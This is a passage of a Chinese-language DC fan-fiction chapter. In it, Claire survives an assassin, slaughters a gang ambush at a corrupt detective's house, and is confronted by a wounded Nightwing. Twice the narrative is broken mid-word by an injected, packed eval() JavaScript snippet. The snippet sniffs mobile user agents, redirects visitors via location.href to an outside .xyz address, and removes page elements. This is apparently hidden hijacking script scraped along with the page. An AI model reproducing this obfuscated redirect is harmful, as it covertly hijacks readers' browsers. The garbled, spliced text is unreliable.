杀手的枪落地，克莱尔当即踢飞。她用肩膀当作盾牌，狠狠撞向杀手的身体，绞住杀手手臂的桌布与肩膀的力使向同一个方向，试图带翻杀手的平衡。 倒地的杀手立马反应过来，反擒住克莱尔的手，调转位置，用粗壮的胳膊死死箍住克莱尔的咽喉。 那只胳膊像变形的铁箍，一步步收缩，挤得她呼吸不能，眼前阵阵发黑。 她用最后一点力气摸到腰间的夜鹰，抵住杀手的侧腰，扣下扳机。 一枪！两枪！ 杀手闷哼出声，掐住她喉咙的力道松了一瞬。 克莱尔抓住机会，别住杀手的脚腕，带他摔进地面。而杀手趁机卡开她的手腕，夜鹰脱手落地，在翻滚间远远甩出去。 她们摔在沙发边的地毯上，昏暗中一双无神的眼睛睁得极大，一具死不瞑目的尸体正直勾勾瞪着两人。 真正的警局线人“老鼠”，他在克莱尔来之前就死了！ 不等克莱尔细想，杀手再次用手肘锁住克莱尔的脖子，全身发力绞杀。 他的力道很大，克莱尔的视野边缘忽黑忽白，供血不足让她在失去意识的边缘徘徊。 杰西卡呢？克莱尔迷迷糊糊地想，在心里谴责队友，难道她还在爬楼梯吗？ 杰西卡没有爬楼梯，她根本没踏进楼道里。 克莱尔原本和她约好，如果五分钟内克莱尔没能离开阁楼，她就上楼找人。 事实是，克莱尔离开不过两分钟，蹲在楼道门前的杰西卡听见数道轮胎摩擦地面的急刹。 一辆辆车，机车、汽车、卡车，它们堵住通往公寓的每一个路口。旧公寓变成牢笼，而杰西卡和克莱尔是笼中困兽。 哪怕再迟钝，杰西卡也该知道她们掉进陷阱里了。 克莱尔的上司真的不是想对克莱尔痛下杀手吗？ 各式各样的车上下来着装统一的帮派分子。他们戴着滑稽的玩具头罩，提着长刀或扎满铁钉的棒球棍，纷纷向杰西卡聚拢。 一滴水落到杰西卡脸上，被她抹掉。越来越多的水痕出现在她伸出的手背上。 头顶蓄饱了水的乌云不堪重负，让第二场雨落进布鲁德海文。 杰西卡站起来，吸气，吐气，面向挡在身前的人墙。在开战前，她有话要说。 “你们是跟哥谭学的吗，身为黑/帮，着装能不能朴素点？” 雨水打在阁楼的玻璃窗上，玻璃窗内，满屋狼籍，两人在凌乱不堪的地面翻滚，如同咬住猎物不松口的鳄鱼。 克莱尔是猎物，杀手是猎手。现在她这只猎物即将变成一具尸体，和真正的“老鼠”一起躺在沙发底下。 她的力气不够大，无法背着杀手强行站起身，找机会把他甩下去，只能狼狈地翻滚，试图在姿势变换中转移到一个更好的位置。 她瞥到头顶的展示柜，“老鼠”似乎是一个桌球爱好者，一座桌球大赛的奖杯摆在展示柜顶端，在脏乱邋遢的家里显得闪闪发亮。 克莱尔咬牙，狠狠踹上展示柜。 一下，两下，三下！ 冥冥中，仿佛是“老鼠”的亡魂出手，将奖杯推到了展示柜边缘。它在震动中掉下来，哐，精准砸中杀手的后脑勺！ 克莱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16232532|180686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尔猛力一掀，反肘砸中杀手的鼻梁。杀手的脑袋一偏，鼻血直冒，眼冒金星。 克莱尔踉跄几步，扑过去捡起地上的夜鹰。她踩住杀手的肩膀，在他有下一步动作前，将枪口对准他的脸。 “现在你可以回答我了，消耗品。”克莱尔喘/息着问，“你的老大是谁？” 杀手舔了舔流出来的鼻血，擦出一小道红痕。他慢慢咧开嘴，想到了很好笑的事，“我看过你的档案，你有一个哥哥，巴希尔·克洛宁。” 杀手的笑容充满恶意，“被炸掉的别墅是他的。他什么时候回来？明天？后天？也许——他回不来了？” 克莱尔心神一颤！ 杀手没被踩住的那只手手腕一翻，折叠匕首弹出刀刃，快准狠地扎进克莱尔的大腿！ 刀锋向后撕扯，在克莱尔的腿上割开一条又长又深的口子，大股鲜血飙出来，克莱尔吃痛惨叫。 但她的枪握得极稳，毫不犹豫开枪射击，在杀手眉心开了一个血洞。 硝烟散去，杀手睁着眼睛，一动不动。 他杀了“老鼠”，亦死在克莱尔枪下。 克莱尔慢慢滑坐在地，大口喘气。她哆嗦着摸到大腿，用手压住往外冒血的伤口。 在她的工装裤下，还有一层牢固的布料。她出门前偷了夜翼一件没有标志的制服，勉强给自己提升了一点防御力。 那层制服拦住了杀手的刀，他没能划破克莱尔的大动脉，克莱尔不会死。 歇了一会儿，克莱尔撕下衬衣下摆扎住伤口，开始搜刮杀手的尸体。她找到杀手的手机，用他的指纹解锁。 她面无表情地翻杀手的消息记录，屏幕的冷光打在她的眼睛里，映出一行行快速滑过的文字。 找到了。她记下一串数字，起身一脚踩碎杀手的手机，伪装成在打斗中摔碎的样子。 “老鼠”的桌球大赛奖杯滚到墙边。克莱尔捡起它，用衣袖擦干净血迹。 她把奖杯端正摆好，一瘸一拐地离开阁楼。 走到楼下，被雨浇透的杰西卡正从外面走进来。克莱尔越过她的肩膀，看到外头横七竖八躺了一地的泰迪帮。 “我们中陷阱了。”杰西卡说。 “我知道。”克莱尔不耐烦地摆手。 楼道外雨势极大，她们在楼道里躲雨。 克莱尔给卡莉法发消息：谁是“老鼠”在警局的上线？ 杰西卡靠在她身旁，抱怨：“你是不是惹了你的领导？” “少说几句吧。”克莱尔冷着脸。 杰西卡撇撇嘴，又问：“我们接下来该干什么？” “比比谁的命更硬，”克莱尔说，“也许我会把幕后主使的尸体切成十八块，一块块搬进酒窖冷藏，再去警局自首。” “能不能把自首环节省掉，抓了你，可就不能抓我了。” 新的消息弹出，卡莉法回复了一个名字。 克莱尔一眨不眨地盯着那个名字。 她收起手机，嫌弃地推开杰西卡，“你全身都湿透了，离我远点。” 杰西卡怒道：“我还没嫌弃你血淋淋一身呢，你才离我远点！” 她们相互推搡几下，又叽叽咕咕地肩并肩靠墙坐下，等候雨停。 21.第 21 章 布鲁德海文又下雨了。这座城市不像哥谭那般阴雨连绵，因此近日的雨显得格外拖沓，不合时宜。 布莱克警探推开家门，收起伞，抖落一伞水珠。 他讨厌雨，就像他讨厌布鲁德海文。但布莱克依旧在布鲁德海文工作和生活，在每一个雨天裹着一身湿气到警局报道。 一切辛苦都是为了钱，等他攒够了钱，他要毫不留恋地离开，搬去一个更温暖更宜居的城市。 未关的警用频道里传来最新通报：“巴西社区‘老爹枪/械店’遭遇抢劫，劫匪有两名，均未目击到正脸，请空余警力速速前往支援！” 布莱克把伞戳进收纳架，播报员仍在徒劳地重复，“……请空余警力速速前往支援！” 谁不知道老爹枪/械店是帮派“飞翔男孩”的地盘，在警察出动前，恐怕那群苍蝇早就抓住劫匪，将其碎尸万段了。 他冷哼一声，关掉对讲机，沉重地摔进沙发里，从茶几下的暗格里摸出一部手机。 布鲁德海文绝大多数警察都有自己的小秘密，这部手机就是布莱克的秘密。 他解锁屏幕，未读的唯一一条消息在三小时前，“他死了。” 布莱克默默放下手机，在胸前画了一个十字，闭眼祷告。 “……求你恩赐所有亡者早日解脱死亡的枷锁。” 屋外的暴雨给了屋内的人黄昏已至的错觉。布莱克虔诚地向天主祈祷，他放在桌上的手机嗡嗡震动，混入雨声，多不和谐的一拍。 他背后传来女声，同时手机的震动停止，“果然是你，卡莉法口中可靠的警察，你真让她伤心。” 布莱克无视身后的危险，低声念完祷词，“……因着你的慈爱能得享永生的幸福。亚孟。” 一个硬邦邦的东西不客气地戳了戳布莱克后脑勺，恶劣地顶住皮肉旋转，是枪管。 有人俯身凑到他耳边，戏谑道：“祷告时间结束了，神父，和天使聊聊吧。” 布莱克镇定地睁开眼睛，他的语调甚至有一丝悲悯，“你不该来，克洛宁特工。也许躲在夜翼的庇护下，能让你多活一段时间。” 警探住宅的里里外外，许许多多个狞笑的杀手站起来。他们埋伏已久，手中刀枪迫不及待要痛饮鲜血。 这是一个连环陷阱，由布莱克将线人老鼠的地址报给卡莉法，再由卡莉法将消息传到克莱尔耳朵里。 老鼠的公寓里藏着致命的杀手，公寓楼下有泰迪帮围堵，倘若他们失败，最后一次剿杀就设置在布莱克家中，等待怒火攻心的特工找上门。 布莱克听说过克洛宁的名声，年少轻狂的小妞，卡莉法手下的一条好狗。 现在，她就要死了，布莱克难免为此感到惋惜——他还没见过那双久负盛名的鸳鸯眼。 “嗨呀。”克莱尔忍俊不禁。 布莱克总算察觉到不对劲，那群没脑子的帮派疯狗居然没有一个人率先出手，他们神色严峻地站在原地，止步不前。 他迟钝地扭头看克莱尔，看清她灯光下的全貌。 她背靠窗户，潦草地套了一件防弹衣，腰间缀满形同装饰物的手/雷，背后交错背着一把突/击/步/枪和数把不同型号的手/枪。 她冲布莱克微笑，鸳鸯眼和夜鹰的枪口一样黑。 “你都不愿意看我一眼，不动动你的秃顶脑袋想想，谁打劫了老爹枪/械店，谁撂倒了那群苍蝇男孩。” 淅淅沥沥的雨声中，布莱特听到清晰的吞咽口水的声音，来自某个帮派成员。 有人受不了难捱的僵持，大喊：“别被她吓到了，她只有一个人，杀了她！” 呐喊点燃了战火，布莱克只觉得胸口传来一股大力，克莱尔揪起他当做肉盾挡在身前。 子弹穿透他的身体，“噗呲”几声，布莱克忍不住惨叫出声，而克莱尔随意将他甩到一边，懒得多看一眼。 她背枪越过沙发，手将枪带一拽，步/枪落到她手里，放肆地喷吐弹药！ 克莱尔哈哈大笑，拔掉手/雷拉环，像节日庆典的主持人朝天抛撒糖果，将那些危险物一口气全撒出去！ 爆炸声震耳欲聋，惊动路边停靠的车辆，警报声此起彼伏。 子弹擦过克莱尔的侧脸，留下一道血痕，像枪炮天使留下的一个吻。她扔掉打空的突/击/步/枪和弹匣，双手持枪还击。 所有家具都在扫射中崩碎成一片又一片。倒下的帮派成员逐渐增多，每个角落都压着中弹的尸体。 枪鸣不断，有人退缩，有人完全失去理智。 “她的子弹总要打完的，都上，不要怕！” 喊这话的人下一秒就被克莱尔缴械夺枪，被自己的子弹击中心脏。 布莱克倒在地上，他的血染红了他最爱的地毯。他像一条垂死的泥鳅，一点点往外蠕动。 这个女人疯了！ 她根本不是什么正义的特工新星，什么遵纪守法的好好市民。 她就是一个杀人狂，一个屠夫！ 夜翼呢，夜翼在哪里，他知不知道有人在他的城市里大开杀戒！ 地板颤抖，越震越烈，嘶哑的尖叫再度惊起汽车嘀嘀不停的警报声。不知哪一颗子弹击碎了屋内的吊灯，失去唯一的光源，残暴的战场隐藏在朦胧的黑暗中。 布莱克紧紧贴着地面，生怕与海怪对上视线。 这只海怪由红心赌场辗转到监狱，又被提到实验室，最后落进黑/帮手里。它是克莱尔的老朋友，又和克莱尔见面了。 克莱尔不曾回头，扬声高喊：“杰西卡！” 棕发棕眼的女人护住杰西卡的后背，她的拳头与海怪对上，力量丝毫不逊色那只十几人才能勉强制住的怪物！ 都是疯子，不是疯子就是怪物，布鲁德海文走上了哥谭的老路。 布莱克被吓破了胆，他拼命朝外爬，身上沾满了血。他的血，别人的血，那些红色的液体拖出来一道长长的血路。 他已经不期望海怪能杀掉克莱尔，他只能祈祷，祈祷海怪能多拖一会儿时间，好让他往外多爬几米。 不知不觉中，所有的声音都消失了，只有雨声无休无止，为荒诞血腥的舞台剧伴奏。 克莱尔环顾一圈，四周再没有一个站着的人。她踩住即将爬到门口的布莱克。 “起来。”她说，“然后跪下，不然你也用不着向天主祷告了，我马上就送你下地狱。” 布莱克慌张地爬起来，双膝跪地。他似乎从克莱尔的话里捕捉到了一点点活下来的可能，于是不停哀求。 “你想知道什么情报，我都会说的！我还有用，别杀我！” “老鼠临死前，也是这么向你送去的杀手祈求的吗？”克莱尔漠然道，“至于你嘴里的话，我想它们没有分毫可信度。” 求饶无用，布莱克又改口威胁，他哆哆嗦嗦，找不出曾经的从容，“你杀了我，没办法和警局交代！” 他大喊大叫：“你以为布鲁德海文会接受一个抢劫枪/械、大肆屠杀的疯子吗？” 克莱尔的嘴边微微挑起，似笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16232533|180686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 非笑。她奇异地感叹：“当你们一次又一次杀我不成，才想起布鲁德海文不喜欢疯子。” 她吹了一声口哨，举起夜鹰，瞄准布莱克的眉心，“为辜负卡莉法的信任而忏悔吧，警探。” 子弹旋转着飞出枪口，剧痛袭击了布莱克的头颅，夺走他对身体的掌控权。他砸在门口，和屋内所有的尸体没有区别。 但他仍然活着，一根卡里棍击中他的太阳穴，击晕了他，救下了他。 “夜翼。”克莱尔喊来者的代号，又重复了一遍，“夜翼。” 镜面一般的血泊蔓延到夜翼脚下，屋外下着雨，屋内没有灯，他和克莱尔无法清楚地看见彼此。 多米诺面具自动开启夜视功能，系统锁定克莱尔手中的枪，在她头顶亮出“持有致命武力”的标记。 夜翼沙哑地开口：“克莱尔……” 杰西卡打断他的话，“如果你要指责她，那就先指责我。我们是共犯。” 克莱尔将夜鹰收进怀里，平淡地道：“错了，你可没杀人。” “到底谁和谁是一边的？”杰西卡双手叉腰，对她怒目而视。 克莱尔费解道：“为什么我们不能是一个圆呢？” 两人的插科打诨让氛围稍微轻松了点，夜翼的喉咙滚了滚，好像里面塞进了一块滚烫的碳。 “你过界了。” 克莱尔轻描淡写，“我知道。” “你会变成他们所有人的敌人。”他的每一个字都充满痛苦。不是为自己痛苦，是为克莱尔可能遭受的痛苦而痛苦。 “我已经是了。”克莱尔说，她想到老鼠公寓里的杀手提到巴希尔的名字，手指便克制不住颤抖。 她竭力控制自己的恐惧，平静、稳定，这才是她最需要的。 她想走开，走出这栋充满鲜血的房子。夜翼抓住她的手腕，力道不轻不重。 他的手同样颤抖着。 “你越过了那条线，你能保证你杀死的每一个人都罪不容诛、罪该万死吗？” 他停了一会儿，眼前场景似曾相识，过去的某一刻，迪克一定和克莱尔度过了相似的场景。 克莱尔没给他留下回忆的空间，她挣开夜翼的手，缓缓道：“我不能，我不是全知全能的神，当然不能评判衡量每个人的罪行轻重。” “但我更害怕失去，我拒绝失去更多。”克莱尔讽刺地笑了笑，“懂了吗，我没你想得那么无私。” 没有人说话，潮湿的空气里翻腾足量的沉默。 杰西卡夹在足够将她溺死的沉默里，勇敢地当了一回出头鸟。 她用半是说笑半是抗拒的语气道：“不如让我们用更直接的方法解决问题，比如杀进终尾零使基地里，在几百人的围堵劫杀下把他们的老大吊起来拷问，看看能不能撤销克莱尔的悬赏。” 杰西卡知道这个方案的可行性有多低。 埋伏在这间屋子里的帮派成员有四五十人，杀光他们耗尽了克莱尔抢来的所有弹/药。 一个帮派的腹地能有多少人？一百？两百？ 她只是找个借口，分开僵持的两人。“在那之前，别来指责我们。” 沉默没有因杰西卡的好意消解，它变得愈发沉重。夜翼缓慢地向前走了半步，他走出吞没自己的阴影，走到窗前微弱的光下。 克莱尔和杰西卡终于看清他的身形。她们睁大了眼睛，夜翼倒映在她们眼中，伤痕累累、血迹斑斑，胸口如风箱般起伏。 “我已经这么做了。”他轻声说。